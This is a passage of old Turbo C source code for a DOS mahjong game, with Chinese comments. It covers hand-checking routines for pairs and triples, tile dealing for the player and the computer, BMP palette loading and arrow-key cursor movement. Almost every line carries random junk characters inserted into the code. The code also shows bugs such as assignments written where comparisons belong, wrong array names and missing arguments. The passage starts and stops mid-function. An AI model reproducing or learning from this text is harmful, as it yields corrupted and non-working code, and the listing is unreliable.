+ ?3 L0 H3 n: h2 |3 Listhree(test,tt-2); ! l$ _8 A: [3 w, t
}
! T( j5 \; J. J  p, |2 f2 n} ' }0 l: H: @* x( s7 Q
else if(tt==9)! Y3 [. b3 F4 X  K, f
isthree(pt,tt);
8 G3 _4 x$ o/ @2 lelse if(tt==11)
3 p; e- A, a! \) h8 M! p: |. U4 }3 Nfor(i=0;i&lt;10;i++)
% {3 |5 ~% K- Y7 p2 o+ Z* ~{
6 h9 {: g/ C% b. w3 Vfor(j=0;j&lt;2;j++)
! q# p; V5 E. e3 p  J( Q. b. m{test[j]=pt[i+j];
+ t0 Z3 c; j4 K) o4 B8 {8 @: f}
6 s' T; Z4 u2 V' i: `) s" ]if(istwo(test))* K: x5 R- N+ Y* V% ~# W
{ ill=0;
& {( [! N& I. j  C, E0 e/ Qfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/& e( r* _/ ^: U* g/ F
{if(kl==i)1 j% c" n# m. j4 x/ W, w4 n
{
8 U) Q; G+ W+ X/ }kl=kl+2;; w; H4 Y7 j1 |7 n# _9 Y
if(kl==11)
, d: Y+ |+ S  g. w' F: jbreak;7 K. U1 k8 f1 Y' R- p
}
9 C0 ?# ?( U" Ktest[ill++]=pt[kl];
5 Y! L# O$ s. p0 F( W4 e1 U8 j' S}& _6 W6 M% F- I/ _
isthree(test,tt-2); 7 p' c' a5 U6 V% g& x- Q3 q! \$ X# r
}
. {: d* P& S5 X- O" c8 t# v}
1 |5 G* [. @  m" u8 x( [else if(tt=12)0 w6 S& ^4 Y, T6 C( ?! t- V/ n4 V
isthree(pt,tt);
$ M  u6 u" X7 }) z6 y4 D4 Helse if(tt=14)
) Z5 Q/ Z/ x/ q7 j+ v' C& Rfor(i=0;i&lt;13;i++)" P* U! _6 A. w
{
! R0 [& g* g; d( Y+ q" {. [1 _9 Ufor(j=0;j&lt;2;j++)! T0 s3 x. @, M0 p4 H, u
{test[j]=pt[i+j]; + A( E+ D% H( l  W
}
& {6 E4 o- s( Q/ m, kif(istwo(test))# u' ~. H: h( G* t& U+ O' Q# x- Z
{ ill=0;
' @" Y. ]. r; Q2 H/ Ffor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, K4 p. |% j8 {) x{if(kl==i)1 \- O  i* u0 v- ^& S! A, K
{
( k" }% U+ D0 Xkl=kl+2;
' v# e1 O& j( u; E- U3 n* C- w3 C1 aif(kl==14)' E# z! n5 K5 y, i8 H( ^$ v
break;
: @5 ~/ v, U! [$ H' }" y}2 s, z: @) u3 Z
test[ill++]=pt[kl];- o' Z( c7 k( x# ?4 A7 u+ p4 D" x6 y
}
! R5 K! N9 \  Z% l+ V& I2 {isthree(test,tt-2);
- F) U0 V- U2 z: ]8 @}" Z0 l6 J8 W9 n8 `5 W
}5 z. d. M+ c0 M* X* A% q) O3 ~; c' G
if(ii==2)  [+ w; D. Q. S+ F$ k* {1 s8 }' x; V
istwo(pi);
* n+ A1 b* E4 {: D7 ]5 ^) J+ ^) Helse if(ii==3)
0 g+ _. y% l& X5 iisthree(pi,ii);2 E9 g. @+ F# r  n( P: ^8 g
else if(ii==5)
/ N) y( j' r0 o0 B: |% `# H/*pi[5]原始牌数组,假设已经升序排列*// t$ V" Q2 y- ^8 p
/*test[3]用来放置测试牌的数组*/
: \# l% \0 g* [. ]- h: w- gfor(i=0;i&lt;4;i++)' y! ]5 T" r; N
{
( }. P; Q* }) y. Pfor(j=0;j&lt;2;j++)
; U0 N: K; x3 w+ i6 c{test[j]=pi[i+j]; 4 h0 }) u8 W4 P
}6 k! J( k% |6 z- v
if(istwo(test))
/ w% R, a: k3 y* B& g/ A6 l{ ill=0;1 J1 D$ G' Z( E
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
3 M9 c9 W: y% J, G; C2 F* c{if(kl==i)
6 l! t* J5 _0 o7 g6 ^1 E{
& x4 ?# M) f+ c- v. K2 okl=kl+2;
8 Q1 m# @  k5 @/ mif(kl==5)& _( u; {9 r  A; P# Z' J! P' D/ x
break;# Y9 n% W# s" g; l& w8 ^$ \/ u! w
}
3 g5 l2 L0 t, Y# w2 E% ~6 Gtest[ill++]=pw[kl];2 w( f& c2 c; o' k; f
}
" O% g1 f' d# N  `isthree(test);
0 a- Z! }! p- {}4 z/ r8 n) R/ z1 o. B% J% y
}7 |; p& Z, N& N* {
else if(ii==6)
; f0 W( ]4 L) K/ H0 o8 b& |7 q/ x5 A- ^isthree(pi,ii); $ O! k4 y7 |& m" e- p+ Q
else if(ii==8)
2 B) o3 T# |/ C2 k3 Nfor(i=0;i&lt;7;i++)+ [" ~7 j7 B3 t/ z1 V. d
{
9 W5 H7 i8 {5 Q3 ffor(j=0;j&lt;2;j++)
7 [4 \( V, u. I* g+ k; Y$ `- Q9 y- {{test[j]=pi[i+j]; 1 B6 J+ ?" e( `5 p  A- g: t
}% j1 a! c+ F' l& d$ c
if(istwo(test))
/ E/ Q. ^0 O/ `/ x4 i; a{ ill=0;
5 j" t5 \# l# a  [for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
' F) ^" H/ M8 M- J5 m: a{if(kl==i)
7 ^: i! H! B9 H2 g$ k) T5 `{
4 ~1 A3 r# p, v- {% @kl=kl+2;4 V# Y  n9 n! H, M8 P
if(kl==8)
- F- B7 p9 J2 X! r( i: D$ sbreak;' q- b  N  y6 R; d  V* s' c( }( Z/ }
}5 S  v5 n: v! w6 n8 J, {7 p
test[ill++]=pi[kl];9 w, E/ Q) Z) U9 ]/ q) {# A
}) E2 F" p1 s" A/ \
isthree(test,ii-2);" z. i: y. U, B& J
}
  h! B! T5 [4 l+ F3 a} : l8 h" L0 f/ r& J5 w0 w$ f: h
else if(ii==9)
' E# l3 i, V9 i2 y& y  o9 ?# Aisthree(pi,ii);/ A. g) B) a$ N# _# h# T9 `( M( `
else if(ii==11)4 J6 b% n+ }$ @$ K( R
for(i=0;i&lt;10;i++)
2 |, @7 c0 @$ f( P9 D( R{9 z- P( W4 t6 n3 w
for(j=0;j&lt;2;j++)
4 ^" Q8 v3 w; A& W/ T9 j2 Y7 B5 H{test[j]=pi[i+j];
, ~0 }8 n+ k( ^$ l( k) `& H}
/ F+ ]( F+ _) y0 k1 [if(istwo(test))$ X# {6 V  A8 Y0 _, Q5 m1 I4 n
{ ill=0;
( b9 E% Z* F7 J1 J( t" Y' j3 L, wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- J% D9 ~$ |; h' ]{if(kl==i)1 d  R8 l8 a- A* ^5 g
{
8 t6 |- h$ ^6 T3 N8 dkl=kl+2;
3 v3 I+ t" |6 g+ Jif(kl==11)
+ t& l8 A; \0 B  p' Xbreak;
8 S2 u; g% O# a/ K' k& q}
4 w. y" }9 v6 D8 K" ^test[ill++]=pi[kl];8 ~- D; z: x; R5 \
}
' ?1 F# J3 [: s6 Z7 _$ S/ ?* Xisthree(test,ii-2);
, q' E' W! D, K}% N9 n' R, W$ |4 u1 F5 T
}
2 _2 \! q7 C2 Z- t! S: W9 pelse if(ii=12)) I' Z) U4 X% O7 v. ^( K: d3 R/ [
isthree(pi,ii);9 V1 ^% r: Y  X0 i
else if(ii=14)
) j, u) ~: P7 t, _9 V5 ofor(i=0;i&lt;13;i++)  B) b; O' K4 \( K1 @
{
. u* F4 e2 S* ^for(j=0;j&lt;2;j++). s! }4 `( T4 Q  E+ ~; |
{test[j]=pi[i+j];
0 Q% U# v* `7 Z2 m6 J' X}
4 Z& ^& i6 @) j& Q% `' [if(istwo(test))/ G; U5 u* R5 v" s  W8 C
{ ill=0;' e( m- W. x' R. e/ x
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/1 z' k2 n9 o+ K; ~6 p# {
{if(kl==i)
2 ~& W" e% Z; Z. n) @, T' J{6 f' x( [7 O, _8 ?$ c* u' V0 y, R
kl=kl+2;7 A" x6 P; c$ H! v$ ]
if(kl==14): W3 B  X* \2 c4 Z; M7 [
break;
2 ?( M: z# ]: F}
3 ]/ M+ r* i3 S: I. }test[ill++]=pi[kl];
$ [8 L- f" s6 Q  u' _}; ^. Y' u5 C. F! z% e6 P
isthree(test,ii-2);
( }7 f0 W; l" P+ G& S}9 P0 I7 P6 Q  I
}
) b' S/ f! ~( t; W" Q& [& `if(ff==2)! t* A7 n) m* g+ [
istwo(pf);) ^; H; U, o6 z7 p# _1 W* t6 a
else if(ff==3); u& s0 C% A" O
isthree(pf,ff);
9 c. Z6 j. G& q5 }else if(ff==5)
8 ?$ m4 \9 e% U3 g  ?/*pf[5]原始牌数组,假设已经升序排列*/8 Y6 y5 n1 b9 x9 Z% ]& K6 t
/*test[3]用来放置测试牌的数组*// E, g% v+ J" C  O( c
for(i=0;i&lt;4;i++)
+ y$ f9 K8 E: j! [{
. Z0 d/ D$ X, j+ {for(j=0;j&lt;2;j++)
* T5 m5 }2 g9 u8 |4 Y, }  U4 T{test[j]=pf[i+j]; ; O# ^# B" U/ n# R) E" G2 u" d2 ?
}
7 S+ Q% J5 Y: H# t0 Oif(istwo(test))
: e0 n6 r+ L8 j{ ill=0;* ~/ U: d9 \' l9 X
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
2 H$ M% X2 A2 N; w9 H{if(kl==i)9 O/ h- {: a5 {8 \" V
{) g, r9 K% d; @7 U5 a% l
kl=kl+2;' I- |3 J. U4 o4 k. G
if(kl==5)# |7 D8 w" f& x: y) [0 r4 Z  o! T3 q
break;
+ g# \- a% S* @" _' o. A( q. w9 n: h+ w, C}
4 c& C" u7 N7 N' w6 u1 z& |# ytest[ill++]=pf[kl];
  W3 x% c% r8 k; y& t9 F}6 }4 R' U; J( U$ C+ w+ l& |1 m
isthree(test);
+ U% D; n+ M# B! o9 W}! E$ Q& n4 f5 {
}* p; z" i& {' R, C
else if(ff==6)3 r8 R" ~$ u$ k, m1 }, j$ H' b. P
isthree(pf,ff); # p4 T4 Q- P" M( A  B
else if(ff==8)* w3 Z0 a3 \* N3 _
for(i=0;i&lt;7;i++)5 b# w0 B1 z- j/ ~: a% Z7 T9 E
{5 r$ M) h4 e7 Q- [1 f
for(j=0;j&lt;2;j++)
7 l; c# f8 u- ^{test[j]=pf[i+j];
* p. T' A5 d/ @! {}; \8 g5 T% c7 n
if(istwo(test)); |; W1 t1 c; c* k$ g
{ ill=0;! J1 c8 G9 e; F) O. H7 ~: g2 k+ `  S
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
8 y6 ?' B2 e. Y0 ]1 c5 K{if(kl==i)+ o  [+ S  h* {. |( ~: A; \
{$ S6 N' i& \4 v; X, y  J
kl=kl+2;
: ~3 t3 @! ]# {if(kl==8)
* ^5 m7 I- X( b) K) E! lbreak;
3 J! w& W6 S" B8 ~8 ~}$ Y8 f7 D$ ]+ _, O# E; W! y
test[ill++]=pf[kl];1 z3 A/ C, A) z5 t! w% f6 t
}  X$ f; i( P: U% t
isthree(test,ff-2);
6 t( T8 k2 z5 B6 g# h1 d5 G}) E( w. }4 ~. }+ J. X3 l
} + M& y  E" @! \$ d% H
else if(ff==9)2 Q8 f( z; D/ Z) L+ S7 ~% Z: k
isthree(pw,ww);
3 i" W4 o- |' R* Eelse if(ff==11)
& A& Q1 M4 e, O; \! tfor(i=0;i&lt;10;i++)
4 T7 a& N8 L1 h{9 u; A0 H: [2 }: M, h: Z* B
for(j=0;j&lt;2;j++)
& j( i! x( t; o+ v. ~; \. Y* @{test[j]=pf[i+j]; . U$ T5 J5 e) P; w
}5 \$ K/ a0 {& A# e0 E, X, u
if(istwo(test))2 M4 z( ^0 ^7 V. J7 ]: |
{ ill=0;
1 w. s6 K" e0 @for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: ~/ F* S* N9 p  h. J. l{if(kl==i)
/ i" Q  @/ o$ O0 r+ l- I& o{
2 d# U) L, x" [! c, h6 d& I9 F8 u! x5 u. ckl=kl+2;
  x8 l+ |+ u: c" b; a- O$ l  cif(kl==11)2 k7 x/ L) {: |5 l
break;2 Q% j% y1 \9 g+ f
}/ J( V- B, r/ `  j* |7 b% O% T
test[ill++]=pf[kl];2 V) j% E' J8 c5 ~7 }, ?' G% o
}% y. C* A/ T% L2 `0 T$ ?
isthree(test,ff-2);
* q! A. t3 ?' D8 h( R% ~}" g  [% \' X7 m4 P3 F% ]
}
3 [: p2 a2 w0 Ielse if(ff=12)
  a+ \7 S  x* N  c+ j1 Y/ qisthree(pf,ff);; I" R* M, Q, y, b% r" s8 {
else if(ff=14)
# w, {( u( x( R) ^; `, \) H: Cfor(i=0;i&lt;13;i++)  k+ X4 k3 W3 @
{
% @/ R( A. M: @" e( p% A1 B1 ~for(j=0;j&lt;2;j++)
7 }& Z# g7 H/ M{test[j]=pf[i+j];
4 L8 [1 }4 v# \5 o* I3 v5 S}8 j- c  Q$ }( f! b5 V
if(istwo(test))
+ l5 `$ ^) J  l% S{ ill=0;
& F: b& Z& x) k( x2 Lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/8 W+ E( R, V4 R9 v- x3 _+ {/ t5 U$ ]
{if(kl==i)
4 G0 R% b* H" E{3 r8 h' o. l9 I; [- S
kl=kl+2;
0 k% V* L6 D' L9 ^$ p5 kif(kl==14)
( G2 _& R: ]3 r9 H% C% {8 P* |break;
! y$ v( n9 z$ O4 S* y* F}
& }2 L' L; T) L9 Qtest[ill++]=pf[kl];
2 B4 m# e6 o; f}
+ O: w9 w0 h' misthree(test,ff-2);" h4 {$ z2 G2 I* b3 ^4 ~
}- L/ P2 M7 t0 R6 @0 i
}
7 j, b5 o" `) r  Q}, U7 W5 z) X6 _# Z( J
void main(void)
& Y6 E  M. X& e{3 }% |8 y5 n' M& ~$ S  ?
FILE *bmp;
5 K3 M2 |  I/ k$ J9 c7 {$ I1 Dstatic char *name[2]={"ff.bmp","logo.bmp"};+ F- e; U& R& ~' C  m, @7 Z
char *p;& ?& y! \" b, U( p4 K; u% t8 w1 g9 S
int *lingshi;
0 A1 y- z+ ~/ {* Y/ O/ H/ C( N* S% cint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;; S/ K+ O' U9 N1 ?: f1 t* r8 I
int every=0,w=0,x1,x2,y1,y2,every1=0;
; b+ [# _8 ?; `0 M3 Tint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
' _5 F* ~* N4 k& a$ R/ Y! a" eBYTE palette[256][3];
8 ]/ b1 F6 j. I8 f: DSETVGA;
! u- u8 e9 X/ u+ y$ igetch();/ n+ W4 ]3 L: Z# ^5 C4 v% k" x
while(t--)3 C% R. c- \! [4 A0 x6 Q
{& m  `# V) F: S9 V. f% f, v3 x
bmp=fopen(name[t],"rb");
  i7 m4 V  S4 Q- o" G* Z7 ~fseek(bmp,54,SEEK_SET);
8 s2 T: k6 p4 \# t4 Y" ~for(i=0;i&lt;256;i++)- G& s* N3 [$ J* |) b2 O  h
{
# B$ I6 f$ P* E6 Dpalette[2]=fgetc(bmp)&gt;&gt;2;- k8 P& z+ q2 s. l7 b3 o( F2 J) |! }
palette[1]=fgetc(bmp)&gt;&gt;2;
1 @. h, a( g* I( j/ `: n& A6 n6 Kpalette[0]=fgetc(bmp)&gt;&gt;2;( v- T" E3 o) J  b* s0 m" c
fgetc(bmp);' R# x5 z) r5 z
Set_Palette(i,palette[0],palette[1],palette[2]);
/ ]8 t4 \! D+ G5 S. o}
  C9 v9 f+ l" G; T% n- i; nfor (y=0;y&lt;200;y++)$ w6 w; [0 W) O4 N: V( k# `4 M
for(x=0;x&lt;320;x++). Z6 F& n- Y. Q
pokeb(0xa000,y*320+x,fgetc(bmp));5 l( H) ]% D' e. c- I5 [/ W0 C) o
fclose(bmp);8 o  I/ o  y% x
getch();
: X+ n) r6 Y! R' |* w! H}
# d" I9 K$ @9 g; T! ]# p- F7 ugetch();5 T  }+ k( o3 J  m7 b* W- C
fillRectangle(0,0,320,200,0);# |; q% p9 }1 E" s- v+ ~, d
getch();
$ s6 z" s3 [% ?+ x. H9 _* Brandomize();
! C( Z3 {) B( a! rme.m=onetothirteen;; f. P5 w/ u3 C/ R! m
while(me.m&gt;0) /*先循环,给自己拿牌*/
9 v8 d8 y% ]8 C  ?2 b{6 b# _2 m) w$ k6 C

7 s/ x3 ~# Z+ o6 i& |! B8 m4 K; etemp=random(136);
4 o: y+ b% ]" ^" @if(m[temp].data2==0 &amp;&amp; m[temp].data1==0). N' r; b& j( m. ^
{$ T5 L0 O' \& [" ?! W
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
  r4 X) }$ {( |4 ume.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/2 @  [( X$ }6 u6 w2 I3 V+ O
me.pp[n].number=temp; /*第几张,用来排序*/6 C' R7 _9 R/ y$ Y0 A- f. V
m[temp].data2=1; /*判断牌是谁的*/$ f$ A" E- ?8 e. F
kk=1;9 B7 y# F' @2 a: C- P& ?$ z
}% r6 N, Y8 K/ ]% H2 o1 j5 c
if(kk==0) /*判断如果又选择了,就从新再选*/
. Q6 k( \9 u7 |1 V; B& x( B{
! ~4 F" I$ f+ ]9 ^& d4 Sme.m++;
( S, y4 k) e5 Kn--;
' `- t, ?4 n/ Q  q8 P3 d}
/ S3 r9 a9 o4 y6 U; J" K8 y  l& Jme.m--;: H3 t5 F" q2 q* v( K: D7 K
n++;
2 b2 q+ `7 A9 Mkk=0;
9 U5 Y+ {2 [+ F$ ?; `}
/ a9 h0 `5 R# `$ c* Y0 Bme.m=12;7 @  r/ R+ M8 C5 D& r2 Z
melipai(); /*理牌*/, |0 Y) A" A) ^# y4 L( [

+ Q9 l6 y( ^$ H/ b- K! sn=13;2 }7 n$ x- L! v
while(l&lt;n)
! K: T& c1 s9 D- y# `; k- m1 ~7 C1 n{' i4 G, {& H7 w& a+ P$ c
z=z+20;2 h. c0 m' s. n' Y$ W5 r3 O0 a) M
showbmp(l);
5 v- d4 c1 t$ g" Wl++;
+ G1 d8 h9 @) _5 J+ c* E! S
7 g3 a7 e2 |; |; ]; h}
0 \0 A; ]0 s# F$ Mrandomize();+ u& ^7 {6 p6 u: p8 ]
computer.m=oneorthirteen;
2 L6 q0 K  c6 b0 M+ h5 ]" K) Gn=0;  N: \9 m* D5 @
while(computer.m&gt;0) /*循环,给对方拿牌*/
* g% N6 n3 w4 I: t{
5 g" b& H/ `& b2 |/ x. Mtemp=random(136);
& [6 H2 ]( O$ h* ?& c) U, d3 lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)7 w2 \" z2 E1 k% z
{
5 l8 Q6 e7 H3 z; Fcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
" r6 C) ]: ]5 X( a& o$ l. n/ wcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
  \, S: d2 ?9 E; V. scomputer.pp[n].number=temp; /*第几张,用来排序*/6 m1 k/ I- b" }1 Y) H; X$ W
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
  }! e$ `+ k& o2 w7 R( Fkk=1;
! ?. ~7 q# v2 i; N" m}
$ v( w! d  q' F- V& i5 O9 `! dif(kk==0) /*判断如果又选择了,就从新再选*/* v2 G2 o, ~% ]4 n2 }
{ : ^+ J+ a$ K# e  |
computer.m++;
1 \; a* G. t: A* qn--;
" D, I$ _6 M3 ]+ A! B5 a}
2 |! I4 C' T' F4 lcomputer.m--;6 u3 \3 Y  X' C2 M
n++;
3 W0 F. g- l  y! V% rkk=0;% q' T+ X3 D0 y' {1 A- L
}2 h1 y2 `  p1 E# Z7 K" m* b/ x
computer.m=12;  h& q6 R1 B3 ?1 H  O0 y* y. O6 L
comlipai(); /*电脑理牌*/
$ K" s4 {  ?# i. g* y+ {  R: En=13;
$ U0 j% Q  z% t" v) n8 O1 Q6 Awhile(ll&lt;n)
, h" l2 \6 C# a{1 P4 u$ ?1 Q' T9 d7 t* K
zy=zy+20;% ]7 y: P; ?0 s* H/ u/ x
showybmp(ll);5 {: H4 B9 ^: I7 E/ T
ll++;! Y; L. y6 g* C* \* X0 E5 c" G
}
; f- v* Q' A* M6 _2 Z2 f4 P1 G( ?; M/ C5 |' Z7 H
z=54400;
" U/ P* M$ C" v0 m0 @while(key!=ESC)
9 D6 `! t! V; P9 U: X+ v{ 5 O% I- Y& [* B$ o4 t

: d$ J& O4 ~9 [" l: Y4 xkeyy=bioskey(0);; g) s* U! A1 @
if(keyy==LEFT) 6 z- @+ ~, K. m2 C: I' r+ U
{ w=1;$ g2 t8 V, x: n# x
if(every==0)
  C. s4 d' `/ ?+ W" g( s{
/ ]* x! _- o; Aevery=1;" V" ?1 Q% t9 V% T5 t8 X# ~
z=54440-5*320;
8 C9 A% r) R9 F
/ d4 b# l; C' n5 t% Q1 f}  r- T3 R! m/ w1 G' R6 C. V
zz=zz+5*320;- K4 [* E  F' c: ]: h3 t1 @
showbmp(every);
1 X7 I3 o) ?/ \5 g2 j9 i1 ~if(every==0): P! a; H/ ^" y& s9 i3 a
{
! t9 v3 w" v3 s' o  Qx1=20;
8 M/ ~  ~5 _4 c, l4 @! Z" \y1=165;# {6 j& x" j3 _8 V6 C# _
fillRectangle(x1,y1,x1+20,y1+4,0);
- _, {. D/ m5 O3 L}
6 ^. W- X7 N" kif(every==1)
# S8 U4 Z7 {3 `& K{) d4 Q- E: p+ b% j/ u
x1=40;3 R; I( P8 J( v; s* l% e
y1=165;
0 o+ J- Q0 g. c8 B4 mfillRectangle(x1,y1,x1+20,y1+4,0);
# K' l, A7 u1 v3 C+ O) O( S9 F}
, r7 U/ h5 `' w; H! Dif(every==2)
# A+ m0 T7 O1 R0 L9 m, B! l{
% R" d6 n" @9 ~0 D' S4 i; gx1=60;
* H& G% @" v. Z7 E- S$ `$ dy1=165;( C/ `" z- [/ ^8 M
fillRectangle(x1,y1,x1+20,y1+4,0);# s4 X' v: P$ _6 t2 B" Z  r
}3 ~2 a- t$ b# `3 ?
if(every==3): Z- _# t, ^1 f3 `
{' ^+ U% o$ F5 o0 g( O9 F
x1=80;0 h8 B7 s- ^' Z" w
y1=165;
( {9 I+ ~6 a& E9 @' ~+ a# v. t+ `* QfillRectangle(x1,y1,x1+20,y1+4,0);) T, g) x0 Z  h) n, ]0 k5 ]
}
/ S, q2 i1 a! v! F, t0 ?+ aif(every==4)
/ b4 N3 m: T& e- ^3 G{
( I8 z- A( [4 O$ b8 r6 Mx1=100;- j" ^% j# y  V0 [  {4 H
y1=165;
* v6 b9 T1 y( @3 h% _0 Q1 W9 X* i' sfillRectangle(x1,y1,x1+20,y1+4,0);3 V! n6 f. k$ {- K3 z1 Y
}5 m! i9 ~  q2 F# ~8 y
if(every==5)& R$ V0 @. N# R  N
{
2 L& _% H* N% ]7 M3 K5 O! t1 dx1=120;
5 [4 a* x( L# V7 A0 f/ wy1=165;
6 z% Q- |4 ^( @' H0 e0 \/ P) {5 \/ q/ YfillRectangle(x1,y1,x1+20,y1+4,0);$ f0 N8 F/ g- t
}5 u: H% k" V# r+ V6 `% X" _. Q
if(every==6)
7 }+ P* S9 w/ `! a' M9 I0 v- r{
( Z3 s( t5 a& E6 H2 J: g! b+ Jx1=140;& x6 X, a7 c, |0 B
y1=165;! |/ L* ~3 J+ W* |$ [/ l8 ]! W6 z
fillRectangle(x1,y1,x1+20,y1+4,0);
1 r# U2 R( p( W9 K% q* e) z}
& ]4 J4 [7 @. ^' O' e, e/ B2 Qif(every==7)9 G7 P5 n. U1 C3 n# g7 Z9 S
{
6 K! d2 V( p( y1 ]0 fx1=160;- ~- y7 ?2 `9 d# \2 j
y1=165;
" d: ~5 H# C0 g! y0 {$ F& ^1 SfillRectangle(x1,y1,x1+20,y1+4,0);
9 B3 R6 b+ f3 h; w. X: B. [) N" e}
% E9 ~3 b' U3 |1 o% }' {9 h, aif(every==8)- t5 L- s* P9 b0 s1 O' p* v8 ]
{
: N. O& U' F3 ox1=180;8 E' ]# C% G3 f; u+ c7 J( `* k- {
y1=165;
" Q: L2 ~; ^! t/ U: N8 d% d& afillRectangle(x1,y1,x1+20,y1+4,0);3 L* p( J+ n1 x  f' q& k
}
9 u5 e0 }* @, c  Z& B& v8 m( Nif(every==9)& v# j$ n: p$ ?- N0 [
{
$ J+ Q/ ]1 }; E% x4 ix1=200;
3 N3 s* g) M' r7 gy1=165;
9 F) J5 f0 u. L  r% `- r' lfillRectangle(x1,y1,x1+20,y1+4,0);' V* M/ S& I* s' B3 }) W
}
4 m! o" W8 Q7 o! O7 H8 }5 ]if(every==10)
0 R/ ?! ]3 H: r+ z- B% F5 _{1 D' E4 \4 B, s+ Z' x9 S1 e
x1=220;
6 F7 G4 |3 g! `1 B: z; X1 I9 @4 `+ gy1=165;6 U1 ~& K; `2 k9 e( k. p
fillRectangle(x1,y1,x1+20,y1+4,0);  n% ?6 R' ?) M! W& E$ A
}3 |; y+ w  V  F# q2 `( W9 }
if(every==11)& x5 M1 M) U( M$ w, I
{
( R' |6 T! p  D, d8 V' h% |" {x1=240;
; I7 v% x3 }( ?" C% vy1=165;( [+ a9 y% ]) \7 }, v9 x# G5 i
fillRectangle(x1,y1,x1+20,y1+4,0);* {' z# ~- R5 N% N* o3 a
}
; d8 @& v1 _" H7 }if(every==12)
! T5 ~3 ~; F) O{
4 a; ?8 Z/ v$ _$ @4 U7 W8 E# {! C: Ox1=260;
. o/ I7 W3 Y+ G. G$ R' F8 wy1=165;8 x. \9 e+ N/ r! l7 J
fillRectangle(x1,y1,x1+20,y1+4,0);  C2 o* G8 h# I' V$ Y* K. B) n4 t
}" }! e2 z' S) g: L  s: G
zz=0;; q; g. b9 L8 S
every--;( A. }, X4 m! |
z=z-20;
* P" K* J# i' L+ R4 Z}3 y+ b8 q/ V8 A
if(keyy==RIGHT)8 A& B: U& ]+ v) t6 E8 w
{ if(w==0)
0 ]3 P+ E7 k: u6 c) R2 k' k" r9 s{2 d# P  b5 F4 [* G; @! c9 r, I
z=54440-5*320;! F9 e, W" J6 |
z=z-20;
5 Y" p2 f' p/ k" j$ D2 U! yw=1;
/ s# X8 T" ^! ^; ]5 i) a8 F}( o' o; w& ~+ M+ I6 C4 X
if(every==12) , ]! x$ j  d0 q* Y1 l8 T) R/ t
{
# e. p7 ^! U! r" s) m/ Zevery=11;! F: K9 ?6 g# r0 r
z=54640-5*320;
, K' P2 K: V( ^' s8 v" u) B}/ \) \5 W# G4 P9 M/ K5 v' N8 f* x
zz=zz+5*320;" ~( Z6 I/ t' a* x2 f. M
showbmp(every);. P- T. q9 R  B+ b
if(every==0)
2 F/ r# E$ e* i1 q! x{
3 c+ ~! Z: l- `' `& J, U$ M% Ox1=20;% O9 {; q. T/ \2 p* _! l0 n
y1=165;% A8 m1 |# f1 W6 W- H, I
fillRectangle(x1,y1,x1+20,y1+4,0);
0 F! E- F# Q3 ~! h}% M0 U, Q% S" J/ f
if(every==1)
9 q: ^+ }3 f$ X9 x$ R8 b{
( A- S- F8 y& v% yx1=40;
1 V2 J! y; _2 C0 ^8 @y1=165;
6 ~9 l2 u3 \( L) I. S9 e% hfillRectangle(x1,y1,x1+20,y1+4,0);, F! F7 ?9 w0 l' Z
}
9 x4 r$ X+ d' y3 W( @! Hif(every==2)* B* }. }" o6 P$ X, Q
{$ P1 c: c7 X' e
x1=60;
0 ]2 Q0 A. A& H, D1 ey1=165;
& `2 C$ d6 z7 G! D2 F! LfillRectangle(x1,y1,x1+20,y1+4,0);& ~8 w7 b0 M' f2 M. ]$ X
}* e- Z$ {6 b" ?4 R
if(every==3)) s  \* t# h1 r, n' }2 A
{
- L. [; H2 Y6 }% ~4 [3 ?x1=80;
$ ?' H2 `5 c1 f9 qy1=165;
- W& _2 `& N5 |" d& N2 q8 a- \8 FfillRectangle(x1,y1,x1+20,y1+4,0);8 n& m2 }+ k$ T% F5 q$ ~$ [
}
8 X& P9 W2 f8 D5 \! oif(every==4)
" \. Y) j. T5 T8 i% w! [8 a{
0 E) n3 I) E$ l& f1 }x1=100;0 S0 {% _+ l5 v4 u9 B
y1=165;8 o+ Y. M* F6 K6 [# R
fillRectangle(x1,y1,x1+20,y1+4,0);
5 b9 G' G. N& P$ Y. i}
( S1 B" E, e( H5 ^! _5 mif(every==5)9 H! S* D. X. A! @
{9 P7 |* Z' s, o
x1=120;: A& }+ Y' @# U6 c/ R. B* ]5 Q
y1=165;3 Q8 Z$ h8 N* w
fillRectangle(x1,y1,x1+20,y1+4,0);5 q0 l' x1 a" B
}3 m# N$ R) L: W4 p5 f9 n
if(every==6)
% o. U) N* N/ i4 h: I{& u% @0 j7 D# T! u/ P6 t
x1=140;
& s, \$ N- ~( s# H9 jy1=165;
- l1 W' @. c4 ~4 i7 efillRectangle(x1,y1,x1+20,y1+4,0);6 }+ m4 G- _4 T
}( l  L. p. ~* {- X% H2 v
if(every==7)
+ R; k! l% L2 n6 k; t5 w( r, Y* _7 |9 n{: z* R0 k- l/ t. {& s4 |
x1=160;
+ q0 ^# K* |" m2 E$ f7 xy1=165;2 V8 |( F6 {. [5 B
fillRectangle(x1,y1,x1+20,y1+4,0);
; N8 C4 @9 r5 f+ C}
# c7 D" f! s; J; n2 Iif(every==8)  _4 N# s- M/ ~+ H$ Y
{* P6 T* C; `- w+ a1 F7 A
x1=180;9 y  n' l+ `. ]/ a
y1=165;" R7 x  |! \4 b
fillRectangle(x1,y1,x1+20,y1+4,0);+ I# `# b: d- o  y2 l
}8 d" h& a3 c) [! ~0 I
if(every==9)
